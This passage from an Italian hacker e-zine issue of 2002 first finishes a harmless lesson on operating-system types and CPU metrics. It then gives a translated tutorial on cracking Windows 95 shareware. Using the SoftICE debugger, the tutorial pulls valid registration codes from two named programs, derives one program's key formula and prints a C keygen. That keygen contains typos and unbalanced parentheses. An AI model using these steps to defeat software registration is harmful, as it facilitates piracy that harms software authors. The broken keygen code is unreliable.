| |- si stabilisce un tempo di utilizzo detto Time Slice superato il quale |
| | si torna alla fase ready; |
| | |
| |- x le istruzioni di I/O il cui tempo di esecuzione e' maggiore |
| | rispetto a quelle logico-aritmetiche, avviene il rinvio a wait x poi |
| | tornare alla fase ready. |
| |
| INTERRUPT ==> segnale di interruzione lanciato dalla CPU. Il OS deve |
| quindi attivare un meccanismo per salvare le istruzioni |
| fino ad allora eseguite. |
| |
| Le importantissime fasi eseguite, che invito caldamente ad imparare |
| perche' danno logica a tutti il processo di elaborazione (anche il |
| nostro processo mentale!) sono: |
| 1.Conoscere istante per istante lo stato delle risorse |
| 2.Determinare le strategie in base alle quali utilizzare le risorse |
| 3.Allocare le risorse |
| 4.Deallocare le risorse. |
| ]----> x casa: imparare A MEMORIA la sequenza!! <-------[ |
| |
| |
| <<<<-@-@-@-@-@-@-@- CONFIGURAZIONI FONDAMENTALI -@-@-@-@-@-@-@->>>> |
| |
| Il sistema viene fornito all'utente finale in diverse configurazioni, |
| cinque per l'esattezza, di cui tre sono le + conosciute, e le ultime due |
| un po' piu' specifiche. |
| Ecco l'elenco: |
| 1)Sistemi dedicati |
| 2)Sistemi a lotti (batch system) |
| 3)Sistemi interattivi multiutente |
| 4)Sistemi transazionali |
| 5)Sistemi real-time |
| Vediamoli in dettaglio: |
| |
| ___ |
| /_ | ) |
| | | ) |
| | | ) SISTEMA DEDICATO __| |__ ) |
| \_____/ ) |
| |
| I sistemi dedicati sono tutti quei sistemi che prevedono l'utilizzo |
| della macchina da parte di un solo utente per volta, come succede con i |
| vari Win95/98/ME. Per capire meglio il concetto basti pensare a WinNT o |
| il 2000 che permettono a puu' utenti contemporaneamente l'utilizzo delle |
| risorse. Fortunatamente questi sistemi sono multitasking, cioe' + task |
| (jobs) possono essere avviati sulla stessa macchina ( Es. Paint e |
| Explorer). Per far cio' si utilizza un meccanisco che scompone i |
| programmi in piccole parti in modo da permetterne l'utilizzo delle |
| risorse questa caratteristica si chiama multithreading. Questo ci |
| illumina anche sull'importanza delle librerie di collegamento dinamico |
| (DLL), che permettono alla macchina di alleggerire il carico di lavoro. |
| Nel concetto di multitasking troviamo anche il termine background |
| riferito all'applicazione che lavora "in sottofondo" mentre noi facciamo |
| altro. |
| _____ |
| / _ ) ) |
| (_/ ) / ) |
| / / ) SISTEMA BATCH (il 2 mi e' uscito uno schifo,azz) |
| / /__ ) |
| (_____) ) |
| |
| Il sistema batch e' un sistema che nn permette nessuna interazione da |
| parte dell'utente, che deve "limitarsi" a dare tutti i comandi necessari |
| al fine di permettere alla macchina di "vedersela da solo". |
| Da qui il richiamo ai mitici file batch che tutti usiamo per |
| semplificare comandi e procedure sotto ms-dos, le cui radici pero' |
| affondano nel dr-dos, se nn ricordo male (si parla di fine anni 70 / |
| inizi 80). |
| Tornando a noi , questo metodo e' utilizzato principalmente per uccidere |
| i tempi morti del calcolatore conseguenti a interazioni con l'utente. |
| Cosi' come le operazioni di input vengono velocizzate (l'elaboratore |
| "parla" con la memoria di massa) anche quelle di output funzionano |
| analogalmente. L'output quindi nn si avra' su stampante o schermo, ma su |
| memoria, alla quale attingiamo tramite l'elaboratore di canale. Il |
| passaggio avviene tramite un'area di memoria (buffer) nella quale si |
| accumulano i caratteri da trasferire, anche generando l'eco sullo |
| schermo. Il significato di tutto questo va ricercato nel fatto che |
| inizialmente nn esistevano monitor e affini, e le interazioni con la |
| macchina avvenivano solo con la tastiera e la stampante. Ecco spiegato |
| il bisogno di "rimandare" la stampa. Adesso capite perche' i comandi |
| UNIX sono tutti brevissimi (ls, cat..) ? |
| |
| ___________________________________________________________________ |
| | | |
| | Le fasi del lavoro batch sono 3: | |
| | | |
| | 1) Preparazione dei dati. | |
| | In cui Offline si prepara tutta la sequenza.Oggigiorno | |
| | questo avviene tramite file di testo. | |
| | 2) Inoltro all'elaboratore. | |
| | Avveniva con le schede perforate, oggi con INVIO. | |
| | 3) Ritiro risultati. | |
| | La stampante e' stata sostituita da un + comodo monitor a 4 | |
| | milioni di colori (li ho contati :P) | |
| |___________________________________________________________________| |
| |
| _____ |
| / _ | ) |
| /_/ / / ) |
| _ | \ ) SISTEMA INTERATTIVO MULTIUTENTE \ \_\ | ) |
| \_____| ) |
| |
| In questo particolare sistema si sfrutta il concetto spiegato |
| precedentemenete del time slice, per cui ad ogni utente che usa le |
| risorse della CPU spetta un tempo di utilizzo che rende la macchina una |
| virtuale portazione condivisa, in modo che ognuno abbia l'apparenza di |
| avere un terminale diverso dagli altri. Naturalmente le risorse gengono |
| sfruttate maggiormente, ma almeno si da interattivita' agli utenti, cosa |
| che non succedeva per i sistemi batch. Il time slice avra' quindi una |
| durata minore se gli utenti della macchina saranno maggiori, proprio per |
| permettere a tutti di lavorarci. Pero' vedremo che minore sara' il T.S. |
| e maggiore sara' l'utilizzo della CPU, che si ritrovera' in system |
| overload. Quindi terremo in considerazione la velocita' |
| del processore, che verra' misurato in MIPS (milioni di istruzioni per |
| secondo). |
| |
| ____ |
| / | ) |
| / /| | ) |
| / /_| |__ ) SISTEMI TRANSAZIONALI |
| |____ __| ) |
| |__| ) |
| |
| I sistemi transizionali sono un sottoinsieme di quelli interattivi |
| multiutente, e nascono dalla necessita' di ottenere una base di dati |
| efficiente, potente e durevole. |
| Infatti pensiamo ad un grande magazzino, che ha la necessita' di |
| ottenere i dati in forma "perfetta" senza errori, e' qui che interviene |
| il sistema transazionele, che permette di registrare il movimen o nella |
| sua interezza anche in situazioni estreme, o eliminandolo sempre nella |
| sua interezza se anche solo un dato va perso, per permettere di |
| reinserirlo sucessivamente aver risolto il problema. |
| E' abbastanza difficile capire bene il funzionamento e l'importanza di |
| questo sistemo,ma basti pensare che e' utilizzato dalle reti Bancomat, |
| dalla Borsa Telematica, eccetera... |
| |
| _______ |
| | ____| ) |
| | (___ ) |
| (___ \ ) SISTEMI REAL TIME ___) ) ) |
| |______/ ) |
| |
| I sistemi real time sono i sistemi che lavorano in tempo reale, in |
| virtu' del concetto che un risultato, seppur corretto, e' inutilizzabile |
| se ottenuto in ritardo, quindi e' errato. |
| Naturalmente la velocita' del sistema di calcolo e' diversa da macchina |
| a macchina, quindi per misurarla vengono utilizzati due parametri (sono |
| di piu' ma ve li risparmi! ;-) che sono: |
| |
| @>- Attivita' della CPU (CPU activity) |
| Espressa in percentuale e': |
| |
| (TU + TS) * 100 |
| CPUA(%)= ------------------ |
| TT |
| |
| Legenda: CPUA (CPU Activity) |
| TU (Tempo Utente = tempo dedicato ai prog. degli utenti) |
| TS (Tempo Sistema = tempo dedicato alle attivita' del sistema, |
| come il time sharing) |
| TT (Tempo Totale = intervallo in cui il sistema e' al servizio |
| degli utenti) |
| |
| |
| @>- Produttivita' (Throughput) |
| Questo parametro serve ad indicare quanta CPU viene dedicata all'utente |
| misurata in millisecondi. |
| Naturalmente e' un parametro che varia insieme al tipo di lavoro che si |
| incarica la CPU. Attenzione: |
| non la Quantita' ma IL TIPO, esempio una base di dati e' diversa da uno |
| spooler. |
| |
| Thx to: un grande, forse IL grande |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 |
| CRACKiNG iN WiND0WS (TRADUZi0NE) [True-love] 0x16/0x23 |
+--------------------------------------------------------------------------+
| |
| Disclaimerz: Non mi assumo nessuna responsabilità di quello ke sta |
| scritto qui sotto, tutto quello scritto nella guida non è mai stata |
| scritta di mio pugno ma è solo la traduzione più fedele possibile della |
| guida di ED!SON al cracking in windows. In oltre tengo a specificare |
| che io non ho mai conosciuto ED!SON ne di persona ne per virtuale, io |
| non so neanche chi sia, quindi se proprio dovete incolpare qualcuno |
| sappiate che io non centro nulla. |
| Se tutto quello che è scritto di seguito in qualche modo vi offende |
| distruggete subito questi byte dal vostro computer. Se invece non vi |
| turbano e anzi,vi interessano, spero che la mia fedele traduzione possa |
| servirvi a qualcosa. |
| Cracking in Windows |
| Guida presa da: (ED!SON's Windows95 Cracking Tutorial v 1.00)Writeln by |
| ED!SON and traslate by True-love |
| 1. Introduzione al Cracking in Windows |
| Crackare un programma Windows spesso è molto più semplice di un |
| programma che gira in DOS. In Windows, è difficile trovare qualcosa da |
| qualcuno che cerchi realmente le informazioni, finché le funzioni sono |
| in possesso di Windows. |
| Il primo (e anche l'ultimo) programma di cui tu hai bisogno è |
| SoftICE/Win 2.00(o superiore), un potente debugger della NuMega. Alcune |
| persone trovano difficile il suo uso, ma io vi spiegherò come farci un |
| efficiente debugging, e io spero che voi mi capirete :-) |
| Ho creato un Appendice (A) che potrai leggere con alcune info su |
| SoftICE/Win 2.00. Io non ho nessun problema ad installare SoftICE, se |
| tu li hai, io rinvierò il manuale. |
| 2. Piccola introduzione a SoftICE/Win 2.00 |
| Ciò dovrebbe essere una vista ragionevolmente difettosa della |
| disposizione della schermata di SoftICE: |
| Registri |
| Usa R per editare |
| Dati Window |
| Usa D per vedere un indirizzo, E per editarlo |
| Codice Window |
| Usa U per vedere un indirizzo, A per inserire un codice "asm" |
| Comando Window |
| Scrivi i comandi e leggi l'output qui |
| Altri importanti tasti sono (nella disposizione di default dei tasti): |
| "H/F1" - Aiuto in Linea |
| "F5/Ctrl+D - Gira |
| "F8" - Step nelle funzioni |
| "F10" - Step attraverso le funzioni |
| "F11" - Step fuori dalle funzioni |
| 3. Trovare un codice di registrazione |
| Questa è probabilmente la via più facile per fare pratica, prendere un |
| programma Shareware e provare a registrarlo. |
| 3.1. Task Look 3.00 - Una semplice registrazione numerica |
| l'unica protezione |
| Questa è una semplice protezione, un solo codice, che non cambia. |
| 3.1.1. Esaminiamo il programma |
| E' a 16 o a 32 bit? Dove inserisco le informazioni di registrazione? |
| L'aiuto mi da alcuni indizi sul lavoro di registrazione? Andate a |
| cercarlo fuori prima di continuare! |
| ... Dovresti aver controllato ora!... Stai controllando?... |
| Hai controllato?... |
| Ok, ora tu sai che è una applicazione di Windows 95 a 32-bit, e che tu |
| puoi registrare il programma inserendo una singola Registrazione |
| Numerale in una finestra di dialogo che appare quando scegli il menù |
| "Register|Register...". Tu sai anche, dalle letture nell'help, che ci |
| sono due tipi di registrazione: Individuale e Licenza dal Sito. Così |
| molto probabilmente ci saranno DUE controlli per validare i codici. |
| 3.1.2. Intrappolare la routine del codice |
| I codici di solito sono all'interno delle normali "Windows Edit Boxes". |
| Per controllare il codice, il programma può leggere il contenuto delle |
| "Edit Box" con UNA di queste funzioni: |
| 16-Bit |
| 32-Bit |
| GetWindowText |
| GetWindowTextA, GetWindowTextW |
| GetDlgItemText |
| GetDlgItemTextA, GetDlgItemTextW |
| L'ultima lettera delle funzioni a 32-bit indica se la funzione usa |
| stringhe a un-byte o a un doppio-byte. Il codice a doppio-byte è |
| RARO. Forse hai avuto la mia idea... "Se soltanto potessi breckare su |
| GetWindowText" E - tu puoi! Ma prima devi essere sicuro che i simboli |
| siano caricati da SoftICE. (Vedi Appendice A). |
| Per settare una trappola (chiamata realmente breakpoint) in SoftICE, |
| prima devi entrare nel debugger con Ctrl-D, poi usa il comando BPX |
| seguito dal nome della funzione o dall'indirizzo della memoria. E Task |
| Look è un 32-bit così metti un breakpoint su GetWindowTextA. Se questo |
| non funziona possiamo provare con gli altri. |
| Scrivi questo in SoftICE: |
| :bpx getwindowtexta |
| Se hai un messaggio come "No LTD", assicurati che non stiano girando |
| altri programmi in background. Ho saputo che Norton Commander/DOS |
| disturba queste funzioni. Puoi vedere se hai attivato alcuni breakpoint |
| dalla lista dei brack points scrivendo: |
| :bl |
| Questo ti risponde qualcosa del genere: |
| BPX USER32!GetWindowTextA C=01 |
| Per uscire da SoftICE, devi premere ancora Ctrl-D. |
| Allora, comunque, hai settato i tuoi breackpoint che intrappoleranno |
| qualunque chiamata verso GetWindowTextA. Ora prova a inserire alcuni |
| valori del numero di registrazione nel campo e primi OK... Premi Ok... |
| e ti comparirà subito una stupida finestra di messaggio che ti dirà che |
| il codice da te inserito era sbagliato. Così non era GetwindowTextA... |
| Ora prova GetDlgItemTextA. Prima cancelliamo il vecchio breackpoint: |
| :bc 0 |
| (0 corrisponde al numero del breakpoint nella lista dei breakpoint) |
| Ora setta il nuovo: |
| :bpx getdlgitemtexta |
| Proviamo ancora... |
| 3.1.3. Nel Debugger |
| Wow! Lavora! Ora sei dentro a SoftICE., al punto dove la funzione |
| GetDlgItemTextA parte. Per saltare al punto dove era stato chiamato, |
| premi il tasto F11. Ora sei dentro SGLSET.EXE, se non ne sei sicuro, |
| guarda sopra la linea tra il codice e il comando di window, dovrebbe |
| essere come questo: |
| ---------------SGLSET!.text+1b13------------------ |
| Ora puoi anche disabilitare i breakpoint facendo questo: |
| :bd0 |
| Per riabilitarlo più tardi se vuoi farlo girare ancora fai questo: |
| :be0 |
| La prima linea nella finestra del codice è come questa: |
| CALL [USER32!GetDlgItemTextA] |
| Per vedere le linee sopra, premi Ctrl+ il tasto con la freccia rivolta |
| verso su un po di secondi, fino a quando vedi la linea superiore. Se |
| non sai niente di Assembler, ho aggiunto i commenti alle linee. |
| RET ; Fine della funzione |
| PUSH EBP ; Inizio della funzione |
| MOV EBP, ESP ; ... |
| SUB ESP, 0000009C ; ... |
| PUSH ESI ; ... |
| > LEA EAX, [EBP - 34] ; EAX = EBP - 34 |
| PUSH EDI ; ... |
| MOVE ESI, ECX ; ... |
| PUSH 32 ; Salva: la stringa con la grandezza massima |
| > PUSH EAX ; Salva: l'indirizzo del testo amplificato |
| PUSH 000003F4 ; Salva: l'identificatore di controllo |
| PUSH DWORD PTR [ESI+1C] ; Salva: il titolo della finestra |
| di dialogo |
| CALL [USER32!DlgItemTextA] ; Prende il testo |
| Il comando PUSH salva i valori per un uso futuro. Ho segnato le linee |
| più importanti con un ">". Guardando questo sappiamo che l'indirizzo |
| del testo amplificato era memorizzato in EAX, e che EAX era EBP-34. |
| Così ora guardiamo a EBP-34 così: |
| :d ebp-34 |
| Ora se guardi nella "data window" dovresti essere capace di leggere |
| quello che avevi inserito. Ora abbiamo trovato un posto dove il codice |
| è inserito con una funzione. Steppiamo attraverso il programma una |
| istruzione alla volta con F10 fino a quando troviamo qualcosa circa |
| EBP-34... non steppare molto durante questo codice: |
| >LEA EAX, [EBP+FFFFFF64* ; EAX=EBP-9C |
| LEA ECX, [EBP-34] ; ECX=EBP-34 |
| PUSH EAX ; Salva EAX |
| PUSH ECX ; Salva ECX |
| >CALL 00403DD0 ; Chiama una funzione |
| ADD ESP, 08 ; Cancella le informazioni salvate |
| TEST EAX, EAX ; Controlla la funzione di ritorno |
| JNZ 00402BC0 ; Salta se non è zero |
| Per me, questa sembra direttamente come una stringa che controlla la |
| funzione. Questa funzione così: |
| *Inserisci 2 stringhe, ritorna zero se è uguale, altrimenti non-zero |
| E perché il programma dovrebbe controllare una stringa con una |
| inserita? Per vedere se era valida! (Come probabilmente hai già |
| immaginato) Allora, com'è il nascondiglio dietro all'indirizzo |
| [EBP+FFFFFF64] dunque? SoftICE non manipola i numeri negativi molto |
| bene, così per trovare il valore reale fai questo calcolo: |
| 100000000 - FFFFFF64 = 9C |
| Puoi fare il calcolo in SoftICE così: |
| :? 0-FFFFFF64 |
| Il numero 100000000 è troppo grande per SoftICE, ma da lo stesso |
| risultato in un altro modo. |
| E ora... è ora di guardare cosa si nasconde dietro EBD-9C... così: |
| :d ebd-9c |
| La finestra dei dati ora mostrerà una lunga fila di numeri - il codice! |
| Ma ricorda cosa dicevo inizialmente... 2 tipi di registrazione danno 2 |
| codici... così dopo che tu hai copiato il codice, continuiamo a steppare |
| con F10... Arriviamo a questo pezzo di codice: |
| >LEA EAX, [EBP-68] ; EAX = EBP-68 |
| LEA ECX, [EBP-34] ; ECX = EBP-34 |
| PUSH EAX ; Salva EAX |
| PUSH ECX ; Salva ECX |
| >CALL 00403DD0 ; Chiama ancora la funzione |
| ADD ESP, 08 ; Cancella le informazioni salvate |
| TEST EAX, EAX ; Controlla la funzione di ritorno |
| JNZ 00402BBF ; Salta se non è zero |
| E cosa trovi all'indirizzo EBP-68? Allora... un altro codice |
| di registrazione! |
| :d ebp-68 |
| Questo è tutto... Spero che tutto funzioni! |
| 3.1. Command Line 95 - Facile registrazione nome/codice, e inserimento |
| di un keymaker |
| Questo è un semplice programma, con un codice di calcolazione |
| molto facile. |
| 3.1.1. Esaminando il programma |
| Esamina il programma e vedi un codice a 32-bit, richiede un Nome e un |
| Codice nel dialogo di registrazione. |
| Allora iniziamo! |
| 3.1.2. Intrappola la routine del codice |
| Facciamo come TaskLook - settiamo i breakpoint. Possiamo settare i |
| breakpoint alla nascita delle 2 funzioni più importanti: GetWindowTextA |
| e DlgItemTextA. Premi Ctrl+D per far apparire SoftICE, poi: |
| :bpx getwindowtexta |
| bpx getdlgitemtexta |
| Ora andiamo al dialogo di registrazione, e inseriamo un nome e un |
| numero qualunque (un numero intero è il codice più usato), io ho |
| scritto questo, e ho premuto OK... |
| Name: ED!SON '96 |
| Code: 12345 |
| Il programma si è fermato a GetDlgItemTextA. Proprio come con TaskLook, |
| premiamo F11 per tornare alla funzione della chiamata. Scorriamo in su |
| con Ctrl+su e la call e come questa: |
| MOV ESI, [ESP+09C] ; Lunghezza massima |
| PUSH 1E ; Indirizzo amplificato |
| PUSH 0040A680 ; Controllo manipolato |
| PUSH ESI ; Dialogo manipolato |
| CALL [USER32!GetDlgItemTextA] |
| Io numero 40A680 per noi è interessante guardarlo; allora controlliamo |
| questo indirizzo: |
| :d 40a680 |
| Allora, guardiamo attraverso questo pezzo di codice, e ci dice: |
| PUSH 00 ; (Non interessante) |
| PUSH 00 ; (Non interessante) |
| PUSH 000003F6 ; Controllo manipolato |
| MOV EDI, 0040A680 ; Salva l'indirizzo amplificato |
| PUSH ESI ; Dialogo manipolato |
| CALL [USER32!GetDlgItemInt] |
| GetDlgItemItem è simile a GetDlgItemTextA, ma ritorna ad un numero |
| intero da una "text box". E' ritornato in EAX, allora steppiamo dopo |
| queste istruzioni, e guardiamo nella finestra dei registri... A me |
| mi dice: |
| EAX=00003039 |
| E come è 3039 in hex? Scrvi: |
| :? 3039 |
| E hai questo: |
| 00003039 |
| 0000012345 |
| "09" |
| ^ hex |
| ^ dec |
| ^ ascii |
| E, come puoi vedere (e avevi già supposto), ci mostra il codice che |
| avevi scritto. Ok, Come ora? Diamo un occhiata al codice che segue, |
| prima è salvato il codice di ritorno: |
| MOV [0040A548] ; Codice di ritorno salvato |
| MOV EDX, EAX ; Mette il codice di ritorno in DX |
| 3.1.3. Calcolando il codice |
| Dopo il codice è calcolato! |
| MOVE ECX, FFFFFFFF ; Questa linea manipola la stringa di calcolo |
| SUB EAX, EAX ; . |
| REPNZ SCASB ; . |
| NOT ECX ; . |
| DEC ECX ; ECX ora contiene la manipolazione |
| MOVSX EAX, BYTE PTR [0040A680] ; Prende byte a 40A680 |
| IMUL ECX, EAX ; ECX = ECX * EAX |
| SHL ECX, 0A ; Trasferisce a sinistra il passo 0A |
| ADD ECX, 0002F8CC ; Aggiunge 2f8cc al risultato |
| MOV [0040A664], ECX |
| E valicato... |
| CMP ECX, EDX ; Confronta i codici |
| JZ 00402DA6 ; Se è uguale, salta... |
| Quando hai steppato al codice di confronto, potete controllare come |
| dovrebbe essere REALMENTE il vostro codice: |
| :? Ecx |
| A me da questo: |
| 000DC0CC 0000901324 |
| Questo significa che per me il codice esatto è 901324 |
| Quindi premiamo F5 o Ctrl+D, per permettergli di rigirare, e riproviamo |
| ancora, con il codice ESATTO, ma nella forma decimale. Lavora!!! |
| 4. Fare un keymaker per Command Line 95 |
| Guardiamo alla calcolazione del codice, e traduciamolo in C. Inseriamo |
| questa descrizione molto semplice di come il codice è calcolato: |
| codice = ( (prima_lunghezza_maiuscola * lunghezza_della_stringa) << |
| 0x0A) + 0x2F8CC; |
| Nota (1): Una cosa da non dimenticare quando li inserisci nella "text |
| box" è che tutti i parametri sono stati convertiti in maiuscolo, così |
| noi dobbiamo fare lo stesso. |
| Nota (2): "<<0x0A" significa "moltiplica con 2^10 (2 alla decima)" |
| Tutti i programmi in C dovrebbero essere come questo: |
| #include <string.h> |
| #include <stdio.h> |
| int main() |
| { |
| unsigned long code; |
| unsigned char buffer [0x1e]e; |
| printf ("CommandLine95 Keymaker by ED!SON '96\n"); |
| printf ("Enter name: "); |
| gets (buffer); |
| strupr (buffer); |
| code = ( (unsigned long)buffer [0] * |
| (unsigned long)strlen (buffer)) |
| << 0x0A) + 0x2f8cc; |
| |
| pritf ("Your code is: %lu", code); |
| return 0; |
| } |
| Goditela! |
| 4. Come funzionano veramente PUSH e CALL quando il programma chiama |
| una funzione |
| Diamo ancora un'occhiata a questo pezzo di codice preso da Task Look: |
| PUSH 32 ; Salva: la misura massima della stringa |
| PUSH EAX; Salva: l'indirizzo del testo ingrandito |
| PUSH 000003F4; Salva: l'identificatore di controllo |
| PUSH DWORD PTR [ESI+1C]; Salva: la manipolazione della "dialog box" |
| CALL [USER32!GetDlgItemTextA]; Prende il testo |
| Se la chiami da un programma C, la chiamata sarà come questa: |
| GetDlgItemTextA(hwndDLG, 0x3F4, buffer, 0x32) |
| ^ [ESI+1C] ^ EAX |
| PUSH salva i dati in qualcosa chiamata lo "Stack". Questi risultati in |
| ciascun PUSH inserisce un nuovo pezzo di dati all'inizio dello stack, e |
| la funzione dopo controlla come è posizionata nello stack e lo usa per |
| farci qualsiasi cosa è stato pensato. |
| 5. Riguardo ai programmi in Visual Basic |
| I file in Visual Basic non sono .EXE reali, compilati in EXE. Essi |
| contengono codice sufficente per chiamare BRUNxxx.DLL, che legge i dati |
| da exe per far girare il programma. Questo è anche un motivo del perché |
| i programmi in Visual Basic sono così lenti. E quando i file EXE non |
| sono reali, non puoi disassemblarli, trovi appena la chiamata alla DLL |
| e molta immondizia, e quando debugghi, finisci troppo nelle DLL. La |
| soluzione è un decompilatore. C'è un decompilatore per Visual Basic |
| 2 & 3, creato da qualcuno chiamato DoDi. E' shareware ed è disponibile |
| in rete. (Vedi Appendice C) In windows 95, ci sono applicazione per |
| versioni di Visual Basic a 32-bit, e per loro non c'è decompilatore che |
| io conosca, sebbene spero che ci fosse. |
| Nota: Nessun vero (o brillante) programmatore crea programmi in Basic. |
| A. Creare i "Load symbols" in SoftICE |
| Per controllare se SoftICE ha caricato i simboli per GetwindowText, |
| entra in SoftICE con Ctrl+D e scrivi così: |
| :exp getwindowtext |
| Se non ti da tutto il listato delle funzioni di GetWindoText, devi |
| editare \SIW95\WINICE.DAT rimovendo il carattere ";" da alcune linee |
| "exp=" che seguono con questo testo: "Examples of export symbols that |
| can be included for Chicago" vicino alla fine del file. Puoi rimuovere |
| il punto e virgola da tutte le linee, oppure salvarlo in memoria, con |
| ognuno di questi file: kernel32.dll, user32.dll, gdi32.dll, che sono |
| quelli più importanti. |
| Quando stai editando, dovrai riavviare il computer per apportare |
| le modifiche. |
| B. Sintassi per le funzioni |
| E' sempre molto semplice capire le chiamate delle funzioni, ne parliamo |
| a proposito per quando le devi dichiarare, iniziamo: |
| int GetWindowText(int windohandle, char *buffer, int maxlen); |
| int GetDlgItemText(int dialoghandle, int controlid, char *buffer, |
| int maxlen); |
| int GetDlgItemInt(int dialoghandle, int controlid, int *flag, |
| int type); |
| Per una descrizione più dettagliata delle funzioni, controlla in |
| Windows/Win32 un riferimento sulla programmazione. |
| C. Dove ottenere i software |
| Tool per crackare: |
| SoftICE/win 2.00: http://www.geocities.com/soho/2680/cracking.html |
| Decompilatore VB: ftp://ftp.sn.no/user/balchen/vb/decompiler |
| Programmi d'esempio: |
| TaskLock: http://users.aol.com/sajernigan/sgllck30.zip |
| Command Line |
| 95: ftp://ftp.winsite.com/pub/pc/win95/miscutil/cline95.zip |
| D. Contattatemi |
| Su IRC (EFNET): In #Ucf96, #Cracking |
| Per E-Mail: edison@ccnux.urm.my o an461165@anon.penet.fi |
| Alla mia Home Page: http://www.geocities.com/soho/2680/cracking.html |
| La traduzione della guida è finita, ricordo che tutto quello scritto |
| sopra di questo non altro che la traduzione fe